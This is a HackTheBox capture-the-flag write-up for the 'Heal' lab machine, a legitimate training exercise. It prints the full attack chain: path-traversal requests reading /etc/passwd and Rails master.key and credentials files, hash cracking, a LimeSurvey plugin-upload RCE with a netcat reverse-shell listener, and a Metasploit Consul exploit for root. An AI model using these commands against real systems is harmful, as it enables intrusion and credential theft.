Heal (HTB – Medium)

The machine hosts multiple web applications: a Ruby on Rails API, a LimeSurvey instance, and a main site. Subdomain enumeration reveals an API endpoint vulnerable to LFI. Rails configuration files are extracted and decrypted, providing credentials for LimeSurvey. Authenticated RCE in LimeSurvey yields a shell. Privilege escalation is achieved by port‑forwarding a Consul instance and exploiting it for remote execution.

Overview

Target: heal.htb
Initial vector: LFI in Rails API
Privilege escalation: Consul service exec

Enumeration

Subdomain discovery:

$ ffuf -u http://heal.htb -H "Host: FUZZ.heal.htb" \
  -w directory-list-2.3-medium.txt -fs 178
-> api
-> API

The API is a Ruby on Rails 7.1.4 application.

Main site:

http://heal.htb

Another subdomain hosts LimeSurvey:

http://take-survey.heal.htb

The login page shows the user ralph@heal.htb.

Rails API – LFI

The main site has a “Resume → Export as PDF” feature. Intercepting the request in Burp shows that the backend contacts:

api.heal.htb/export
api.heal.htb/download

The filename parameter in /download is vulnerable to LFI when used with a valid auth token.

Example:

GET /download?filename=../../../../../../etc/passwd

Users identified:

ralph
ron
administrator

Rails documentation suggests interesting files under config/.

Extract master key:

GET /download?filename=../../config/master.key
-> 23d5052b447ee9376809464f8c141bdf

Extract encrypted credentials:

GET /download?filename=../../config/credentials.yml.enc

Decrypting Rails Credentials

Use a public decryptor:

$ python3 decryptor.py credentials.yml.enc master.key

Recovered:

secret_key_base: 7c54b3ab1c9f9d5037c8f8c856b4be85...

Database Access

Rails stores SQLite databases under storage/ in development mode.

GET /download?filename=../../storage/development.sqlite3

If SQLite is password‑protected, extract the user hash from Burp instead:

$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

Crack with John:

$ john hash.txt -w /usr/share/wordlists/rockyou.txt
-> 147258369

This password does not work for SSH, but works for LimeSurvey.

LimeSurvey – Authenticated RCE

Login:

http://take-survey.heal.htb/admin
user: ralph
pass: 147258369

LimeSurvey version: 6.x Use an updated version of the plugin‑upload RCE exploit.

Adjust config.xml and the PHP payload to match version 6. Zip the files and upload through the plugin manager.

Listener:

$ nc -nlvp 443

Exploit:

$ python3 exploit.py http://take-survey.heal.htb/ ralph 147258369 80

A shell as www-data is obtained.

User Pivot

Search for configuration files:

$ find / -iname "*config.php*" 2>/dev/null
-> /var/www/limesurvey/application/config/config.php

Database credentials:

'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',

Try local users:

$ su ralph -> no
$ su ron   -> yes

Privilege Escalation – Consul

Enumerate ports (linpeas or manual):

Consul running on port 8500

Port‑forward:

$ ssh ron@heal.htb -L 8500:localhost:8500

Access:

http://localhost:8500
-> Consul 1.19.2

Exploit Consul service execution:

$ msfconsole
msf> use exploit/multi/misc/consul_service_exec
msf> set RHOSTS 127.0.0.1
msf> set RPORT 8500
msf> set LHOST tun0
msf> run

A Meterpreter session is obtained. Spawn a shell and read /root/root.txt.

Conclusion

The machine chains several vulnerabilities: Rails LFI, encrypted credentials exposure, LimeSurvey RCE, and Consul service execution. By extracting and decrypting Rails secrets, then exploiting LimeSurvey and Consul, full system compromise is achieved.